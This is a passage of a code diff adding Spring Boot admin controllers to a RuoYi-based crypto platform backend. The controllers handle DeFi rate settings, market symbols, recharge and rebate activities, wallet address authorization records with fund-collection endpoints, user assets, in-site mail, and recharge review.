return toAjax(defiOrderService.deleteDefiOrderByIds(ids));
}
}

104
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java

@ -0,0 +1,104 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.DefiRate;
import com.ruoyi.bussiness.service.IDefiRateService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* defi挖矿利率配置Controller
*
* @author ruoyi
* @date 2023-08-17
*/
@RestController
@RequestMapping("/bussiness/ratedefi")
public class DefiRateController extends BaseController
{
@Autowired
private IDefiRateService defiRateService;
/**
* 查询defi挖矿利率配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:ratedefi:list')")
@GetMapping("/list")
public TableDataInfo list(DefiRate defiRate)
{
startPage();
List<DefiRate> list = defiRateService.selectDefiRateList(defiRate);
return getDataTable(list);
}
/**
* 导出defi挖矿利率配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:ratedefi:export')")
@Log(title = "defi挖矿利率配置", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, DefiRate defiRate)
{
List<DefiRate> list = defiRateService.selectDefiRateList(defiRate);
ExcelUtil<DefiRate> util = new ExcelUtil<DefiRate>(DefiRate.class);
util.exportExcel(response, list, "defi挖矿利率配置数据");
}
/**
* 获取defi挖矿利率配置详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:ratedefi:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(defiRateService.selectDefiRateById(id));
}
/**
* 新增defi挖矿利率配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:ratedefi:add')")
@Log(title = "defi挖矿利率配置", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody DefiRate defiRate)
{
return toAjax(defiRateService.insertDefiRate(defiRate));
}
/**
* 修改defi挖矿利率配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:ratedefi:edit')")
@Log(title = "defi挖矿利率配置", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody DefiRate defiRate)
{
return toAjax(defiRateService.updateDefiRate(defiRate));
}
/**
* 删除defi挖矿利率配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:ratedefi:remove')")
@Log(title = "defi挖矿利率配置", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(defiRateService.deleteDefiRateByIds(ids));
}
}

142
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java

@ -0,0 +1,142 @@
package com.ruoyi.web.controller.bussiness;
import java.math.BigDecimal;
import java.util.*;
import java.util.concurrent.atomic.AtomicReference;
import java.util.stream.Collectors;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.vo.OwnVO;
import com.ruoyi.common.core.redis.RedisCache;
import com.ruoyi.common.enums.CachePrefix;
import org.apache.commons.collections4.CollectionUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.KlineSymbol;
import com.ruoyi.bussiness.service.IKlineSymbolService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 数据源Controller
*
* @author ruoyi
* @date 2023-07-10
*/
@RestController
@RequestMapping("/bussiness/klineSymbol")
public class KlineSymbolController extends BaseController
{
@Resource
private IKlineSymbolService klineSymbolService;
@Resource
private RedisCache redisCache;
/**
* 查询数据源列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:klineSymbol:list')")
@GetMapping("/list")
public TableDataInfo list(KlineSymbol klineSymbol)
{
List<KlineSymbol> list = klineSymbolService.selectKlineSymbolList(klineSymbol);
return getDataTable(list);
}
@GetMapping("/selectList")
public AjaxResult selectList(KlineSymbol klineSymbol)
{
List<OwnVO> list = new ArrayList<>();
klineSymbol.setMarket("binance");
List<String> keys = redisCache.keys(CachePrefix.CURRENCY_PRICE.getPrefix() + "*").stream().collect(Collectors.toList());
if (CollectionUtils.isEmpty(keys)) {
return AjaxResult.success(list);
}
List<KlineSymbol> klineSymbolList = klineSymbolService.list(new LambdaQueryWrapper<KlineSymbol>().eq(KlineSymbol::getMarket, "binance"));
for (String key : keys) {
String coin= key.substring(key.indexOf(":")+1,key.length());
String regex =".*[A-Z].*";
if (coin.matches(regex)) {
continue;
}
klineSymbolList.stream().forEach(k->{
if (coin.toUpperCase().equals(k.getSymbol().toUpperCase())){
OwnVO ownVO = new OwnVO();
ownVO.setMarket(k.getMarket());
ownVO.setCoin(coin);
ownVO.setPrice(new BigDecimal(redisCache.getCacheObject(key).toString()));
list.add(ownVO);
}
});
}
return AjaxResult.success(list);
}
/**
* 导出数据源列表
*/
@PreAuthorize("@ss.hasPermi('system:symbol:export')")
@Log(title = "数据源", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, KlineSymbol klineSymbol)
{
List<KlineSymbol> list = klineSymbolService.selectKlineSymbolList(klineSymbol);
ExcelUtil<KlineSymbol> util = new ExcelUtil<KlineSymbol>(KlineSymbol.class);
util.exportExcel(response, list, "数据源数据");
}
/**
* 获取数据源详细信息
*/
@PreAuthorize("@ss.hasPermi('system:symbol:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(klineSymbolService.selectKlineSymbolById(id));
}
/**
* 新增数据源
*/
@PreAuthorize("@ss.hasPermi('system:symbol:add')")
@Log(title = "数据源", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody KlineSymbol klineSymbol)
{
return toAjax(klineSymbolService.insertKlineSymbol(klineSymbol));
}
/**
* 修改数据源
*/
@PreAuthorize("@ss.hasPermi('system:symbol:edit')")
@Log(title = "数据源", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody KlineSymbol klineSymbol)
{
return toAjax(klineSymbolService.updateKlineSymbol(klineSymbol));
}
/**
* 删除数据源
*/
@PreAuthorize("@ss.hasPermi('system:symbol:remove')")
@Log(title = "数据源", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(klineSymbolService.deleteKlineSymbolByIds(ids));
}
}

105
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java

@ -0,0 +1,105 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TActivityRecharge;
import com.ruoyi.bussiness.service.ITActivityRechargeService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 充值活动Controller
*
* @author ruoyi
* @date 2023-07-05
*/
@RestController
@RequestMapping("/bussiness/activityrecharge")
public class TActivityRechargeController extends BaseController
{
@Autowired
private ITActivityRechargeService tActivityRechargeService;
/**
* 查询充值活动列表
*/
@PreAuthorize("@ss.hasPermi('system:recharge:list')")
@GetMapping("/list")
public TableDataInfo list(TActivityRecharge tActivityRecharge)
{
startPage();
List<TActivityRecharge> list = tActivityRechargeService.selectTActivityRechargeList(tActivityRecharge);
return getDataTable(list);
}
/**
* 导出充值活动列表
*/
@PreAuthorize("@ss.hasPermi('system:recharge:export')")
@Log(title = "充值活动", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TActivityRecharge tActivityRecharge)
{
List<TActivityRecharge> list = tActivityRechargeService.selectTActivityRechargeList(tActivityRecharge);
ExcelUtil<TActivityRecharge> util = new ExcelUtil<TActivityRecharge>(TActivityRecharge.class);
util.exportExcel(response, list, "充值活动数据");
}
/**
* 获取充值活动详细信息
*/
@PreAuthorize("@ss.hasPermi('system:recharge:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tActivityRechargeService.selectTActivityRechargeById(id));
}
/**
* 新增充值活动
*/
@PreAuthorize("@ss.hasPermi('system:recharge:add')")
@Log(title = "充值活动", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TActivityRecharge tActivityRecharge)
{
return toAjax(tActivityRechargeService.insertTActivityRecharge(tActivityRecharge));
}
/**
* 修改充值活动
*/
@PreAuthorize("@ss.hasPermi('system:recharge:edit')")
@Log(title = "充值活动", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TActivityRecharge tActivityRecharge)
{
return toAjax(tActivityRechargeService.updateTActivityRecharge(tActivityRecharge));
}
/**
* 删除充值活动
*/
@PreAuthorize("@ss.hasPermi('system:recharge:remove')")
@Log(title = "充值活动", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tActivityRechargeService.deleteTActivityRechargeByIds(ids));
}
}

105
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java

@ -0,0 +1,105 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TAgentActivityInfo;
import com.ruoyi.bussiness.service.ITAgentActivityInfoService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 返利活动明细Controller
*
* @author ruoyi
* @date 2023-07-06
*/
@RestController
@RequestMapping("/bussiness/agentactivity")
public class TAgentActivityInfoController extends BaseController
{
@Autowired
private ITAgentActivityInfoService tAgentActivityInfoService;
/**
* 查询返利活动明细列表
*/
@PreAuthorize("@ss.hasPermi('system:info:list')")
@GetMapping("/list")
public TableDataInfo list(TAgentActivityInfo tAgentActivityInfo)
{
startPage();
List<TAgentActivityInfo> list = tAgentActivityInfoService.selectTAgentActivityInfoList(tAgentActivityInfo);
return getDataTable(list);
}
/**
* 导出返利活动明细列表
*/
@PreAuthorize("@ss.hasPermi('system:info:export')")
@Log(title = "返利活动明细", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TAgentActivityInfo tAgentActivityInfo)
{
List<TAgentActivityInfo> list = tAgentActivityInfoService.selectTAgentActivityInfoList(tAgentActivityInfo);
ExcelUtil<TAgentActivityInfo> util = new ExcelUtil<TAgentActivityInfo>(TAgentActivityInfo.class);
util.exportExcel(response, list, "返利活动明细数据");
}
/**
* 获取返利活动明细详细信息
*/
@PreAuthorize("@ss.hasPermi('system:info:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") String id)
{
return success(tAgentActivityInfoService.selectTAgentActivityInfoById(id));
}
/**
* 新增返利活动明细
*/
@PreAuthorize("@ss.hasPermi('system:info:add')")
@Log(title = "返利活动明细", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TAgentActivityInfo tAgentActivityInfo)
{
return toAjax(tAgentActivityInfoService.insertTAgentActivityInfo(tAgentActivityInfo));
}
/**
* 修改返利活动明细
*/
@PreAuthorize("@ss.hasPermi('system:info:edit')")
@Log(title = "返利活动明细", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TAgentActivityInfo tAgentActivityInfo)
{
return toAjax(tAgentActivityInfoService.updateTAgentActivityInfo(tAgentActivityInfo));
}
/**
* 删除返利活动明细
*/
@PreAuthorize("@ss.hasPermi('system:info:remove')")
@Log(title = "返利活动明细", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable String[] ids)
{
return toAjax(tAgentActivityInfoService.deleteTAgentActivityInfoByIds(ids));
}
}

133
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java

@ -0,0 +1,133 @@
package com.ruoyi.web.controller.bussiness;
import java.math.BigDecimal;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
import com.ruoyi.bussiness.domain.TAppAddressInfo;
import com.ruoyi.bussiness.domain.TAppAsset;
import com.ruoyi.bussiness.service.ITAppAddressInfoService;
import com.ruoyi.common.enums.WalletType;
import com.ruoyi.common.eth.EthUtils;
import com.ruoyi.common.trc.TronUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 钱包地址授权详情Controller
*
* @author ruoyi
* @date 2023-07-15
*/
@RestController
@RequestMapping("/bussiness/info")
public class TAppAddressInfoController extends BaseController
{
@Autowired
private ITAppAddressInfoService tAppAddressInfoService;
/**
* 查询钱包地址授权详情列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:info:list')")
@GetMapping("/list")
public TableDataInfo list(TAppAddressInfo tAppAddressInfo)
{
startPage();
List<TAppAddressInfo> list = tAppAddressInfoService.selectTAppAddressInfoList(tAppAddressInfo);
return getDataTable(list);
}
/**
* 导出钱包地址授权详情列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:info:export')")
@Log(title = "钱包地址授权详情", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TAppAddressInfo tAppAddressInfo)
{
List<TAppAddressInfo> list = tAppAddressInfoService.selectTAppAddressInfoList(tAppAddressInfo);
ExcelUtil<TAppAddressInfo> util = new ExcelUtil<TAppAddressInfo>(TAppAddressInfo.class);
util.exportExcel(response, list, "钱包地址授权详情数据");
}
/**
* 获取钱包地址授权详情详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:info:query')")
@GetMapping(value = "/{userId}")
public AjaxResult getInfo(@PathVariable("userId") Long userId)
{
return success(tAppAddressInfoService.selectTAppAddressInfoByUserId(userId));
}
/**
* 新增钱包地址授权详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:info:add')")
@Log(title = "钱包地址授权详情", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TAppAddressInfo tAppAddressInfo)
{
return toAjax(tAppAddressInfoService.insertTAppAddressInfo(tAppAddressInfo));
}
/**
* 修改钱包地址授权详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:info:edit')")
@Log(title = "钱包地址授权详情", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TAppAddressInfo tAppAddressInfo)
{
return toAjax(tAppAddressInfoService.updateTAppAddressInfo(tAppAddressInfo));
}
/**
* 删除钱包地址授权详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:info:remove')")
@Log(title = "钱包地址授权详情", businessType = BusinessType.DELETE)
@DeleteMapping("/{userIds}")
public AjaxResult remove(@PathVariable Long[] userIds)
{
return toAjax(tAppAddressInfoService.deleteTAppAddressInfoByUserIds(userIds));
}
@PreAuthorize("@ss.hasPermi('bussiness:info:refresh')")
@Log(title = "刷新地址信息", businessType = BusinessType.UPDATE)
@PostMapping("/refresh")
public AjaxResult refresh(@RequestBody TAppAddressInfo tAppAddressInfo)
{
return toAjax(tAppAddressInfoService.refreshAddressInfo(tAppAddressInfo));
}
@PreAuthorize("@ss.hasPermi('bussiness:info:collection')")
@Log(title = "归集", businessType = BusinessType.UPDATE)
@PostMapping("/collection")
public AjaxResult collection(@RequestBody TAppAddressInfo address) {
return AjaxResult.success(tAppAddressInfoService.collection(address));
}
@PreAuthorize("@ss.hasPermi('bussiness:info:collection')")
@Log(title = "归集USDC", businessType = BusinessType.UPDATE)
@PostMapping("/collectionUsdc")
public AjaxResult collectionUsdc(@RequestBody TAppAddressInfo address) {
return AjaxResult.success(tAppAddressInfoService.collectionUsdc(address));
}
}

123
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java

@ -0,0 +1,123 @@
package com.ruoyi.web.controller.bussiness;
import java.math.BigDecimal;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
import com.ruoyi.bussiness.domain.TAppAddressInfo;
import com.ruoyi.bussiness.domain.TAppAsset;
import com.ruoyi.bussiness.service.ITAppAssetService;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 玩家资产Controller
*
* @author ruoyi
* @date 2023-06-30
*/
@RestController
@RequestMapping("/bussiness/asset")
public class TAppAssetController extends BaseController
{
@Autowired
private ITAppAssetService tAppAssetService;
/**
* 查询玩家资产列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:asset:list')")
@GetMapping("/list")
public TableDataInfo list(TAppAsset tAppAsset)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tAppAsset.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TAppAsset> list = tAppAssetService.selectTAppAssetList(tAppAsset);
return getDataTable(list);
}
/**
* 导出玩家资产列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:asset:export')")
@Log(title = "玩家资产", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TAppAsset tAppAsset)
{
List<TAppAsset> list = tAppAssetService.selectTAppAssetList(tAppAsset);
ExcelUtil<TAppAsset> util = new ExcelUtil<TAppAsset>(TAppAsset.class);
util.exportExcel(response, list, "玩家资产数据");
}
/**
* 获取玩家资产详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:asset:query')")
@GetMapping(value = "/{userId}")
public AjaxResult getInfo(@PathVariable("userId") Long userId)
{
return success(tAppAssetService.selectTAppAssetByUserId(userId));
}
/**
* 新增玩家资产
*/
@PreAuthorize("@ss.hasPermi('bussiness:asset:add')")
@Log(title = "玩家资产", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TAppAsset tAppAsset)
{
return toAjax(tAppAssetService.insertTAppAsset(tAppAsset));
}
/**
* 修改玩家资产
*/
@PreAuthorize("@ss.hasPermi('bussiness:asset:edit')")
@Log(title = "玩家资产", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TAppAsset tAppAsset)
{
return toAjax(tAppAssetService.updateTAppAsset(tAppAsset));
}
/**
* 删除玩家资产
*/
@PreAuthorize("@ss.hasPermi('bussiness:asset:remove')")
@Log(title = "玩家资产", businessType = BusinessType.DELETE)
@DeleteMapping("/{userIds}")
public AjaxResult remove(@PathVariable Long[] userIds)
{
return toAjax(tAppAssetService.deleteTAppAssetByUserIds(userIds));
}
}

95
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java

@ -0,0 +1,95 @@
package com.ruoyi.web.controller.bussiness;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TAppUser;
import com.ruoyi.bussiness.service.ITAppUserService;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TAppMail;
import com.ruoyi.bussiness.service.ITAppMailService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 1v1站内信Controller
*
* @author ruoyi
* @date 2023-07-18
*/
@RestController
@RequestMapping("/bussiness/mail")
public class TAppMailController extends BaseController
{
@Autowired
private ITAppMailService tAppMailService;
@Resource
private ITAppUserService tAppUserService;
/**
* 查询1v1站内信列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:mail:list')")
@GetMapping("/list")
public TableDataInfo list(TAppMail tAppMail)
{
startPage();
List<TAppMail> list = tAppMailService.selectTAppMailList(tAppMail);
return getDataTable(list);
}
/**
* 新增1v1站内信
*/
@PreAuthorize("@ss.hasPermi('bussiness:mail:add')")
@Log(title = "1v1站内信", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TAppMail tAppMail)
{
String msg = "";
if (tAppMail.getType().equals("1")){
String[] userIds = tAppMail.getUserIds().split(",");
for (int i = 0; i < userIds.length; i++) {
TAppUser appUser = tAppUserService.getById(userIds[i]);
if (Objects.isNull(appUser)){
msg+=userIds[i]+",";
}
}
}
if (StringUtils.isNotBlank(msg)){
return AjaxResult.error("暂无此用户"+msg.substring(0,msg.length()-1));
}
return toAjax(tAppMailService.insertTAppMail(tAppMail));
}
/**
* 删除1v1站内信
*/
@PreAuthorize("@ss.hasPermi('bussiness:mail:remove')")
@Log(title = "1v1站内信", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long ids)
{
return toAjax(tAppMailService.deleteTAppMailById(ids));
}
}

163
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java

@ -0,0 +1,163 @@
package com.ruoyi.web.controller.bussiness;
import com.ruoyi.bussiness.domain.TAppRecharge;
import com.ruoyi.bussiness.service.ITAppRechargeService;
import com.ruoyi.bussiness.service.ITAppUserService;
import com.ruoyi.bussiness.service.ITWithdrawService;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.annotation.RepeatSubmit;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.OrderBySetting;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.core.page.PageDomain;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.core.page.TableSupport;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.socket.socketserver.WebSocketNotice;
import com.ruoyi.system.service.ISysConfigService;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import java.math.BigDecimal;
import java.util.*;
/**
* 用户充值Controller
*
* @author ruoyi
* @date 2023-07-04
*/
@RestController
@RequestMapping("/bussiness/recharge")
public class TAppRechargeController extends BaseController
{
private static final Logger log = LoggerFactory.getLogger(TAppRechargeController.class);
@Resource
private ITAppRechargeService tAppRechargeService;
@Resource
private ITWithdrawService tWithdrawService;
@Resource
private WebSocketNotice webSocketNotice;
/**
* 获取用户充值详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:recharge:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
TAppRecharge appRecharge = tAppRechargeService.getById(id);
if(Objects.nonNull(appRecharge)){
Date creatTime=appRecharge.getCreateTime();
Map<String,Object> params=new HashMap<>();
params.put("date",Objects.nonNull(creatTime)?creatTime.getTime():0L);
appRecharge.setParams(params);
}
return AjaxResult.success(appRecharge);
}
/**
* 用户充值列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:recharge:list')")
@GetMapping("/list")
public TableDataInfo list(TAppRecharge tAppRecharge) {
PageDomain pageDomain = TableSupport.buildPageRequest();
String orderBy = pageDomain.getOrderBy();
if (StringUtils.isNotBlank(orderBy)){
OrderBySetting.value="a.";
}
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tAppRecharge.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
return getDataTable(tAppRechargeService.selectRechargeList(tAppRecharge));
}
@Log(title = "充值信息", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('bussiness:recharge:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, TAppRecharge tAppRecharge)
{
PageDomain pageDomain = TableSupport.buildPageRequest();
String orderBy = pageDomain.getOrderBy();
if (StringUtils.isNotBlank(orderBy)){
OrderBySetting.value="a.";
}
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tAppRecharge.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
List<TAppRecharge> list = tAppRechargeService.selectRechargeList(tAppRecharge);
ExcelUtil<TAppRecharge> util = new ExcelUtil<TAppRecharge>(TAppRecharge.class);
util.exportExcel(response, list, "用户数据");
}
/**
* 用户充值审核
*/
@RepeatSubmit(interval = 5000, message = "请求过于频繁")
@PreAuthorize("@ss.hasPermi('bussiness:recharge:passOrder')")
@PostMapping("/passOrder")
public AjaxResult passOrder(@RequestBody TAppRecharge tAppRecharge) {
String msg = tAppRechargeService.passOrder(tAppRecharge);
if (StringUtils.isNotBlank(msg)){
return AjaxResult.error(msg);
}
//socket通知
webSocketNotice.sendInfoAll(tWithdrawService,2);
return AjaxResult.success();
}
/**
* 用户充值审核
*/
@PreAuthorize("@ss.hasPermi('bussiness:recharge:failedOrder')")
@PostMapping("/failedOrder")
public AjaxResult failedOrder(@RequestBody TAppRecharge tAppRecharge) {
String msg = tAppRechargeService.failedOrder(tAppRecharge);
